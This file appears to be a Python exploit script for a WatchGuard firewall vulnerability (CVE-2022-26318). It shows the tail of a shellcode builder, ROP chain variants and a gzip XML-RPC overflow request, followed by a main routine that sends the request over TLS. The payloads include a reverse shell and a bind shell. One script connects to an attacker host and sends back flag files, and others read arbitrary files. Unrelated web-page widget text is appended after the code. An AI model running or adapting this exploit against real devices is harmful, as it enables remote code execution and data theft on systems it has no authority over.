        code += b"\x4c\x89\xd6"  # mov rsi, r10
        code += b"\xba" + struct.pack("<I", len(content_header))  # mov edx, len(content_header)
        code += b"\xb8\x01\x00\x00\x00"  # mov eax, 1
        code += b"\x0f\x05"  # syscall
        code += b"\xbf" + struct.pack("<I", fd)  # mov edi, fd
        code += b"\x4c\x89\xf6"  # mov rsi, r14
        code += b"\x4c\x89\xea"  # mov rdx, r13
        code += b"\xb8\x01\x00\x00\x00"  # mov eax, 1
        code += b"\x0f\x05"  # syscall
        code += b"\xbf" + struct.pack("<I", fd)  # mov edi, fd
        code += b"\x4c\x89\xc6"  # mov rsi, r8
        code += b"\xba\x08\x00\x00\x00"  # mov edx, 8
        code += b"\xb8\x01\x00\x00\x00"  # mov eax, 1
        code += b"\x0f\x05"  # syscall
        code += b"\xbf" + struct.pack("<I", fd)  # mov edi, fd
        code += b"\x4c\x89\xce"  # mov rsi, r9
        code += b"\xba\x10\x00\x00\x00"  # mov edx, 16
        code += b"\xb8\x01\x00\x00\x00"  # mov eax, 1
        code += b"\x0f\x05"  # syscall

    code += b"\xb8\x3c\x00\x00\x00"  # mov eax, 60
    code += b"\x31\xff"  # xor edi, edi
    code += b"\x0f\x05"  # syscall

    stdout_header_off = len(code)
    code += stdout_header
    empty_stdout_off = len(code)
    code += empty_stdout
    end_request_off = len(code)
    code += end_request
    content_header_off = len(code)
    code += content_header
    open_fail_text_off = len(code)
    code += open_fail
    read_fail_text_off = len(code)
    code += read_fail
    path_off = len(code)
    code += path_bytes

    for key, target_off in {
        "path": path_off,
        "stdout_header": stdout_header_off,
        "empty_stdout": empty_stdout_off,
        "end_request": end_request_off,
        "content_header": content_header_off,
        "open_fail_text": open_fail_text_off,
        "read_fail_text": read_fail_text_off,
    }.items():
        disp = target_off - (patches[key] + 4)
        code[patches[key] : patches[key] + 4] = struct.pack("<i", disp)

    for key, target_off in {
        "js_open_fail": open_fail_off,
        "js_read_fail": read_fail_off,
        "jmp_prepare_send": prepare_send_off,
        "jmp_from_open_fail": prepare_send_off,
        "jmp_from_read_fail": prepare_send_off,
    }.items():
        disp = target_off - (patches[key] + 4)
        code[patches[key] : patches[key] + 4] = struct.pack("<i", disp)

    return bytes(code)


def build_hang_shellcode():
    return b"\x90\xeb\xfe"


def _pack_lea(reg_opcode_prefix, disp):
    return reg_opcode_prefix + struct.pack("<i", disp)


def build_python_exec_shellcode(script_text, shell_path=b"/usr/bin/python", script_path=b"/tmp/cx.py"):
    if b"\x00" in script_text or b"\x00" in shell_path or b"\x00" in script_path:
        raise ValueError("python exec payload does not support embedded NUL bytes")

    code = bytearray()
    patches = {}

    code += b"\x48\x8d\x3d\x00\x00\x00\x00"  # lea rdi, [rip+script_path]
    patches["script_path_for_open"] = len(code) - 4
    code += b"\xbe\x41\x02\x00\x00"  # mov esi, 0x241
    code += b"\xba\xb6\x01\x00\x00"  # mov edx, 0x1b6
    code += b"\xb8\x02\x00\x00\x00"  # mov eax, 2
    code += b"\x0f\x05"  # syscall
    code += b"\x49\x89\xc4"  # mov r12, rax
    code += b"\x4c\x89\xe7"  # mov rdi, r12
    code += b"\x48\x8d\x35\x00\x00\x00\x00"  # lea rsi, [rip+script_text]
    patches["script_text"] = len(code) - 4
    code += b"\xba" + struct.pack("<I", len(script_text))  # mov edx, len(script_text)
    code += b"\xb8\x01\x00\x00\x00"  # mov eax, 1
    code += b"\x0f\x05"  # syscall
    code += b"\x4c\x89\xe7"  # mov rdi, r12
    code += b"\xb8\x03\x00\x00\x00"  # mov eax, 3
    code += b"\x0f\x05"  # syscall
    code += b"\x48\x8d\x1d\x00\x00\x00\x00"  # lea rbx, [rip+shell_path]
    patches["shell_path"] = len(code) - 4
    code += b"\x48\x8d\x0d\x00\x00\x00\x00"  # lea rcx, [rip+script_path]
    patches["script_path_for_argv"] = len(code) - 4
    code += b"\x48\x83\xec\x20"  # sub rsp, 0x20
    code += b"\x48\x89\x1c\x24"  # mov [rsp], rbx
    code += b"\x48\x89\x4c\x24\x08"  # mov [rsp+8], rcx
    code += b"\x48\xc7\x44\x24\x10\x00\x00\x00\x00"  # mov qword [rsp+16], 0
    code += b"\x48\x89\xe6"  # mov rsi, rsp
    code += b"\x31\xd2"  # xor edx, edx
    code += b"\x48\x89\xdf"  # mov rdi, rbx
    code += b"\xb8\x3b\x00\x00\x00"  # mov eax, 59
    code += b"\x0f\x05"  # syscall
    code += b"\xb8\x3c\x00\x00\x00"  # mov eax, 60
    code += b"\x31\xff"  # xor edi, edi
    code += b"\x0f\x05"  # syscall

    shell_path_off = len(code)
    code += shell_path + b"\x00"
    script_path_off = len(code)
    code += script_path + b"\x00"
    script_text_off = len(code)
    code += script_text

    for key, target_off in {
        "script_path_for_open": script_path_off,
        "script_text": script_text_off,
        "shell_path": shell_path_off,
        "script_path_for_argv": script_path_off,
    }.items():
        disp = target_off - (patches[key] + 4)
        code[patches[key] : patches[key] + 4] = struct.pack("<i", disp)

    return bytes(code)


def build_python_flag_script(lhost, lport, script_path="/tmp/cx.py"):
    lines = [
        "import glob, os, socket",
        f"S=socket.create_connection(({lhost!r}, {lport}))",
        "C=[",
        "r'/flag',r'/flag.txt',r'/root/flag',r'/root/flag.txt',",
        "r'/home/admin/flag',r'/home/admin/flag.txt',r'/tmp/flag',r'/tmp/flag.txt',",
        "r'/var/tmp/flag',r'/var/tmp/flag.txt']",
        "seen=set()",
        "hits=[]",
        "def send(p):",
        " data=open(p,'rb').read(8192)",
        " S.sendall((p+'\\n').encode()+data+b'\\n')",
        " hits.append(p)",
        "for pat in C:",
        " for p in glob.glob(pat):",
        "  if p in seen: continue",
        "  seen.add(p)",
        "  try: send(p)",
        "  except Exception as e: S.sendall((p+': '+repr(e)+'\\n').encode())",
        "if not hits:",
        " for root, dirs, files in os.walk('/'):",
        "  for n in files:",
        "   if 'flag' not in n.lower(): continue",
        "   p=os.path.join(root,n)",
        "   if p in seen: continue",
        "   seen.add(p)",
        "   try: send(p)",
        "   except Exception as e: S.sendall((p+': '+repr(e)+'\\n').encode())",
        "   if len(hits) >= 8: raise SystemExit",
        "S.sendall(b'__DONE__\\n')",
        "S.close()",
        f"os.remove({script_path!r})",
    ]
    return "\n".join(lines).encode()


def build_python_flag_shellcode(lhost, lport):
    script_path = "/tmp/cx.py"
    script = build_python_flag_script(lhost, lport, script_path)
    return build_python_exec_shellcode(script, b"/usr/bin/python", script_path.encode())


def build_python_touch_script(script_path="/tmp/cx.py"):
    output_paths = ["/tmp/debug/codex_pwned.log", "/tmp/codex_pwned.log", "/var/tmp/codex_pwned.log"]
    lines = [
        "import os",
        "O=" + repr(output_paths),
        "parts=[]",
        "parts.append('CODEx-26318 stage2 reached\\n')",
        "parts.append('pid=%d\\n' % os.getpid())",
        "try: parts.append('uid=%d euid=%d\\n' % (os.getuid(), os.geteuid()))",
        "except Exception: pass",
        "try: parts.append('uname=%r\\n' % (os.uname(),))",
        "except Exception: pass",
        "msg=''.join(parts).encode('utf-8')",
        "for p in O:",
        " try:",
        "  d=os.path.dirname(p)",
        "  if d and not os.path.isdir(d):",
        "   try: os.makedirs(d)",
        "   except Exception: pass",
        "  open(p,'wb').write(msg)",
        " except Exception:",
        "  continue",
        " else:",
        "  break",
        "try: os.remove(%r)" % script_path,
        "except Exception: pass",
    ]
    return "\n".join(lines).encode()


def build_python_touch_shellcode():
    script_path = "/tmp/cx.py"
    script = build_python_touch_script(script_path)
    return build_python_exec_shellcode(script, b"/usr/bin/python", script_path.encode())


def build_python_flag_local_script(script_path="/tmp/cx.py"):
    output_paths = ["/tmp/debug/codex_flag.log", "/tmp/codex_flag.log", "/var/tmp/codex_flag.log"]
    candidate_patterns = [
        "/flag",
        "/flag.txt",
        "/root/flag",
        "/root/flag.txt",
        "/root/flag*",
        "/home/admin/flag",
        "/home/admin/flag.txt",
        "/home/*/flag*",
        "/tmp/flag*",
        "/var/tmp/flag*",
        "/mnt/*flag*",
    ]
    search_roots = ["/root", "/home", "/tmp", "/var/tmp", "/mnt", "/opt", "/etc", "/usr/local"]
    probe_dirs = ["/", "/root", "/home", "/home/admin", "/tmp", "/tmp/debug", "/var/tmp", "/mnt"]
    lines = [
        "import glob, os",
        "O=" + repr(output_paths),
        "C=" + repr(candidate_patterns),
        "R=" + repr(search_roots),
        "D=" + repr(probe_dirs),
        "seen=[]",
        "def add(p):",
        " if p not in seen: seen.append(p)",
        "for pat in C:",
        " for p in glob.glob(pat):",
        "  add(p)",
        "for root in R:",
        " if len(seen) >= 16: break",
        " if not os.path.exists(root):",
        "  continue",
        " try:",
        "  for base, dirs, files in os.walk(root):",
        "   if len(seen) >= 16: break",
        "   for n in files:",
        "    if 'flag' in n.lower():",
        "     add(os.path.join(base, n))",
        " except Exception:",
        "  pass",
        "parts=[]",
        "parts.append('CODEx-26318 local read\\n')",
        "parts.append('pid=%d\\n' % os.getpid())",
        "try: parts.append('uid=%d euid=%d\\n' % (os.getuid(), os.geteuid()))",
        "except Exception: pass",
        "for p in seen:",
        " try:",
        "  data=open(p,'rb').read(8192)",
        "  parts.append('==== %s ====\\n' % p)",
        "  try: parts.append(data.decode('utf-8', 'replace'))",
        "  except Exception: parts.append(repr(data))",
        "  parts.append('\\n')",
        " except Exception as e:",
        "  parts.append('%s: %r\\n' % (p, e))",
        "if not seen:",
        " parts.append('NO_FLAG_HITS\\n')",
        " for d in D:",
        "  try:",
        "   parts.append('## ls %s\\n' % d)",
        "   for n in os.listdir(d)[:64]:",
        "    parts.append(n + '\\n')",
        "  except Exception as e:",
        "   parts.append('%s: %r\\n' % (d, e))",
        "msg=''.join(parts).encode('utf-8')",
        "for p in O:",
        " try:",
        "  d=os.path.dirname(p)",
        "  if d and not os.path.isdir(d):",
        "   try: os.makedirs(d)",
        "   except Exception: pass",
        "  open(p,'wb').write(msg)",
        " except Exception:",
        "  continue",
        " else:",
        "  break",
        "try: os.remove(%r)" % script_path,
        "except Exception: pass",
    ]
    return "\n".join(lines).encode()


def build_python_flag_local_shellcode():
    script_path = "/tmp/cx.py"
    script = build_python_flag_local_script(script_path)
    return build_python_exec_shellcode(script, b"/usr/bin/python", script_path.encode())


def build_python_readfile_local_script(target_path, script_path="/tmp/cx.py"):
    output_paths = ["/tmp/debug/codex_read.log", "/tmp/codex_read.log", "/var/tmp/codex_read.log"]
    lines = [
        "import os",
        "T=" + repr(target_path),
        "O=" + repr(output_paths),
        "parts=[]",
        "parts.append('CODEx-26318 readfile local\\n')",
        "parts.append('target=%s\\n' % T)",
        "try: parts.append('uid=%d euid=%d\\n' % (os.getuid(), os.geteuid()))",
        "except Exception: pass",
        "try:",
        " data=open(T,'rb').read(65536)",
        " parts.append('read_ok bytes=%d\\n' % len(data))",
        " try: parts.append(data.decode('utf-8', 'replace'))",
        " except Exception: parts.append(repr(data))",
        "except Exception as e:",
        " parts.append('read_error=%r\\n' % (e,))",
        "msg=''.join(parts).encode('utf-8')",
        "for p in O:",
        " try:",
        "  d=os.path.dirname(p)",
        "  if d and not os.path.isdir(d):",
        "   try: os.makedirs(d)",
        "   except Exception: pass",
        "  open(p,'wb').write(msg)",
        " except Exception:",
        "  continue",
        " else:",
        "  break",
        "try: os.remove(%r)" % script_path,
        "except Exception: pass",
    ]
    return "\n".join(lines).encode()


def build_python_readfile_local_shellcode(target_path):
    script_path = "/tmp/cx.py"
    script = build_python_readfile_local_script(target_path, script_path)
    return build_python_exec_shellcode(script, b"/usr/bin/python", script_path.encode())


def build_stage2(stage2_mode, ret_count):
    if stage2_mode == "direct":
        return p64(G_JMP_RSP)
    if stage2_mode == "ret_jmp":
        return p64(G_RET) + p64(G_JMP_RSP)
    if stage2_mode == "ret2_jmp":
        return p64(G_RET_2) + p64(G_JMP_RSP) + b"\x90\x90"
    if stage2_mode == "ret14_jmp":
        return p64(G_RET_14) + p64(G_JMP_RSP) + (b"\x90" * 14)
    if stage2_mode == "ret_chain":
        return (p64(G_RET) * ret_count) + p64(G_JMP_RSP)
    if stage2_mode == "skip16_jmp":
        return p64(G_ADD_RSP_8_RET) + p64(0x4141414141414141) + p64(G_JMP_RSP)
    if stage2_mode == "skip56_jmp":
        return p64(G_SKIP_56_RET) + (p64(0x4141414141414141) * 7) + p64(G_JMP_RSP)
    if stage2_mode == "public_direct_jmp":
        return build_public_preamble(p64(G_JMP_RSP))
    if stage2_mode == "public_ret14_jmp":
        return build_public_preamble(p64(G_RET_14) + p64(G_JMP_RSP) + (b"\x90" * 14))
    if stage2_mode == "public_add8_jmp":
        return build_public_preamble(p64(G_ADD_RSP_8_RET) + p64(0x4141414141414141) + p64(G_JMP_RSP))
    if stage2_mode == "public_pop2_jmp":
        return build_public_preamble(
            p64(G_POP_RBX_RBP_RET)
            + p64(0x4141414141414141)
            + p64(0x4242424242424242)
            + p64(G_JMP_RSP)
        )
    if stage2_mode == "public_skip24_jmp":
        return build_public_preamble(
            p64(G_SKIP_24_RET)
            + p64(0x4141414141414141)
            + p64(0x4242424242424242)
            + p64(0x4343434343434343)
            + p64(G_JMP_RSP)
        )
    if stage2_mode == "public_skip56_jmp":
        return build_public_preamble(p64(G_SKIP_56_RET) + (p64(0x4141414141414141) * 7) + p64(G_JMP_RSP))
    if stage2_mode == "callskip_jmp":
        return build_callskip_chain(G_CALL_RAX)
    if stage2_mode == "mov_callskip_jmp":
        return build_callskip_chain(G_MOV_RBP_RSP_CALL_RAX)
    if stage2_mode == "skip16_callskip_jmp":
        return p64(G_ADD_RSP_8_RET) + p64(0x4141414141414141) + build_callskip_chain(G_CALL_RAX)
    if stage2_mode == "skip56_callskip_jmp":
        return p64(G_SKIP_56_RET) + (p64(0x4141414141414141) * 7) + build_callskip_chain(G_CALL_RAX)
    if stage2_mode == "rax_poprbp_jmprax":
        return build_rax_poprbp_jmprax_chain()
    if stage2_mode == "public_rax_poprbp_jmprax":
        return build_public_preamble(build_rax_poprbp_jmprax_chain())
    if stage2_mode == "rbp_pivot10_jmp":
        return build_rbp_pivot_chain(G_RBP_PIVOT_10_RET)
    if stage2_mode == "public_rbp_pivot10_jmp":
        return build_public_preamble(build_rbp_pivot_chain(G_RBP_PIVOT_10_RET))
    if stage2_mode == "rbp_pivot20_jmp":
        return build_rbp_pivot_chain(G_RBP_PIVOT_20_RET)
    if stage2_mode == "public_rbp_pivot20_jmp":
        return build_public_preamble(build_rbp_pivot_chain(G_RBP_PIVOT_20_RET))
    if stage2_mode == "assetnote_exact":
        return build_assetnote_exact_chain()
    if stage2_mode == "real_assetnote_exact":
        return build_real_assetnote_exact_chain()
    raise ValueError(f"unknown stage2 mode: {stage2_mode}")


def build_payload(
    lhost,
    lport,
    first_hop_tag,
    stage2_mode,
    repeat_count,
    stage2_padding,
    head_pad_len,
    ret_count,
    payload_kind,
    marker_text,
    response_fds,
    target_path="",
    layout="full_xml",
):
    if payload_kind == "reverse":
        shellcode = build_reverse_shellcode(lhost, lport)
    elif payload_kind == "beacon":
        shellcode = build_beacon_shellcode(lhost, lport, marker_text)
    elif payload_kind == "bindbeacon":
        shellcode = build_bind_beacon_shellcode(lport, marker_text)
    elif payload_kind == "response":
        shellcode = build_response_shellcode(marker_text, parse_fd_list(response_fds))
    elif payload_kind == "assetnote_response":
        shellcode = build_assetnote_response_shellcode(marker_text, parse_fd_list(response_fds)[0])
    elif payload_kind == "response_readfile":
        shellcode = build_response_readfile_shellcode(target_path, parse_fd_list(response_fds))
    elif payload_kind == "python_flag":
        shellcode = build_python_flag_shellcode(lhost, lport)
    elif payload_kind == "python_touch":
        shellcode = build_python_touch_shellcode()
    elif payload_kind == "python_flag_local":
        shellcode = build_python_flag_local_shellcode()
    elif payload_kind == "python_readfile_local":
        shellcode = build_python_readfile_local_shellcode(target_path)
    elif payload_kind == "hang":
        shellcode = build_hang_shellcode()
    else:
        raise ValueError(f"unknown payload kind: {payload_kind}")
    padding = b"\x00" * stage2_padding
    rop = build_stage2(stage2_mode, ret_count)

    tag_close = (first_hop_tag + ">").encode()
    if layout == "public_exact":
        tag_repeat = (f"<BBBB{first_hop_tag}>" * repeat_count).encode()
        payload = b"agent.login<"
    elif layout == "assetnote_full":
        tag_repeat = (f"<BBBB{first_hop_tag}>" * repeat_count).encode()
        payload = b"<methodCall><methodName>agent.login</methodName><params><param><value><struct><member><value><"
    elif layout == "full_xml":
        tag_repeat = (f"<BBBB{first_hop_tag}>" * repeat_count + "AA").encode()
        payload = b"<methodCall><methodName>agent.login</methodName><params><param><value><struct><member><value><"
    else:
        raise ValueError(f"unknown layout: {layout}")
    payload += b"A" * head_pad_len
    payload += tag_close
    payload += tag_repeat
    payload += padding
    payload += rop
    payload += shellcode
    return gzip.compress(payload, 9)


def build_http(
    lhost,
    lport,
    rhost,
    rport,
    first_hop_tag,
    stage2_mode,
    repeat_count,
    stage2_padding,
    head_pad_len,
    ret_count,
    payload_kind,
    marker_text,
    response_fds,
    target_path="",
    layout="full_xml",
):
    body = build_payload(
        lhost,
        lport,
        first_hop_tag,
        stage2_mode,
        repeat_count,
        stage2_padding,
        head_pad_len,
        ret_count,
        payload_kind,
        marker_text,
        response_fds,
        target_path,
        layout,
    )
    headers = [
        "POST /agent/login HTTP/1.1",
        f"Host: {rhost}:{rport}",
        "User-Agent: CVE-2022-26318",
        "Accept-Encoding: gzip, deflate",
        "Accept: */*",
        "Connection: close",
        "Content-Encoding: gzip",
        f"Content-Length: {len(body)}",
        "",
        "",
    ]
    return "\r\n".join(headers).encode() + body


def main():
    parser = argparse.ArgumentParser(description="WatchGuard stage-2 retest helper")
    parser.add_argument(
        "--profile",
        default="real_4117_reverse",
        choices=sorted(PROFILE_DEFAULTS),
        help="preset derived from public PoCs / local sample; explicit CLI args override the preset",
    )
    parser.add_argument("--rhost", default=R_HOST)
    parser.add_argument("--rport", type=int, default=4117)
    parser.add_argument("--lhost", default=L_HOST)
    parser.add_argument("--lport", type=int, default=L_PORT)
    parser.add_argument("--tag", default=FIRST_HOP_TAG)
    parser.add_argument("--repeat-count", type=int, default=TAG_REPEAT_COUNT)
    parser.add_argument("--padding", type=int, default=STAGE2_PADDING)
    parser.add_argument("--head-pad", type=int, default=HEAD_PAD_LEN)
    parser.add_argument(
        "--stage2",
        default="real_assetnote_exact",
        choices=[
            "direct",
            "ret_jmp",
            "ret2_jmp",
            "ret14_jmp",
            "ret_chain",
            "skip16_jmp",
            "skip56_jmp",
            "public_direct_jmp",
            "public_ret14_jmp",
            "public_add8_jmp",
            "public_pop2_jmp",
            "public_skip24_jmp",
            "public_skip56_jmp",
            "callskip_jmp",
            "mov_callskip_jmp",
            "skip16_callskip_jmp",
            "skip56_callskip_jmp",
            "rax_poprbp_jmprax",
            "public_rax_poprbp_jmprax",
            "rbp_pivot10_jmp",
            "public_rbp_pivot10_jmp",
            "rbp_pivot20_jmp",
            "public_rbp_pivot20_jmp",
            "assetnote_exact",
            "real_assetnote_exact",
        ],
    )
    parser.add_argument("--ret-count", type=int, default=RET_CHAIN_COUNT)
    parser.add_argument(
        "--payload-kind",
        default="reverse",
        choices=[
            "reverse",
            "beacon",
            "bindbeacon",
            "response",
            "assetnote_response",
            "response_readfile",
            "python_flag",
            "python_touch",
            "python_flag_local",
            "python_readfile_local",
            "hang",
        ],
    )
    parser.add_argument("--marker", default=MARKER_TEXT.decode())
    parser.add_argument("--response-fds", default=RESPONSE_FDS)
    parser.add_argument("--target-path", default="/flag.txt")
    parser.add_argument("--layout", default="assetnote_full", choices=["assetnote_full", "full_xml", "public_exact"])
    parser.add_argument("--recv-timeout", type=float, default=3.0)
    argv = sys.argv[1:]
    args = parser.parse_args(argv)
    args = apply_profile_defaults(args, argv)

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
    context.check_hostname = False
    context.verify_mode = ssl.CERT_NONE
    wrapped = context.wrap_socket(sock=sock, server_hostname=args.rhost)
    wrapped.settimeout(args.recv_timeout)

    server_address = (args.rhost, args.rport)
    print(f"connecting to {server_address[0]} port {server_address[1]}")
    print(
        "using profile {} -> tag {} -> stage2 {} -> ret-count {} -> repeat-count {} -> padding {} -> head-pad {} -> {}:{}".format(
            args.profile,
            args.tag,
            args.stage2,
            args.ret_count,
            args.repeat_count,
            args.padding,
            args.head_pad,
            args.lhost,
            args.lport,
        )
    )
    print(f"payload-kind {args.payload_kind}")
    if args.payload_kind == "response":
        print(f"marker {args.marker!r}")
        print(f"response-fds {args.response_fds}")

    try:
        wrapped.connect(server_address)
        print("sending payload...")
        payload = build_http(
            args.lhost,
            args.lport,
            args.rhost,
            args.rport,
            args.tag,
            args.stage2,
            args.repeat_count,
            args.padding,
            args.head_pad,
            args.ret_count,
            args.payload_kind,
            args.marker.encode(),
            args.response_fds,
            args.target_path,
            args.layout,
        )
        wrapped.sendall(payload)
        chunks = []
        while True:
            try:
                chunk = wrapped.recv(4096)
            except ssl.SSLEOFError as exc:
                print(f"ssl eof while receiving: {exc}")
                break
            except socket.timeout:
                break
            except ssl.SSLError as exc:
                print(f"ssl error while receiving: {exc}")
                break
            if not chunk:
                break
            chunks.append(chunk)
        response = b"".join(chunks)
        if response:
            print(f"received {len(response)} bytes")
            if args.payload_kind == "response":
                if args.marker.encode() in response:
                    print("marker observed in response")
                else:
                    print("marker not observed in response")
            preview = response[:4096]
            print(repr(preview))
            try:
                print(preview.decode("utf-8", errors="replace"))
            except Exception:
                pass
        else:
            print("no response received after payload")
    except Exception as exc:
        print("error:", exc)
    finally:
        print("closing socket")
        wrapped.close()


if __name__ == "__main__":
    main()
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇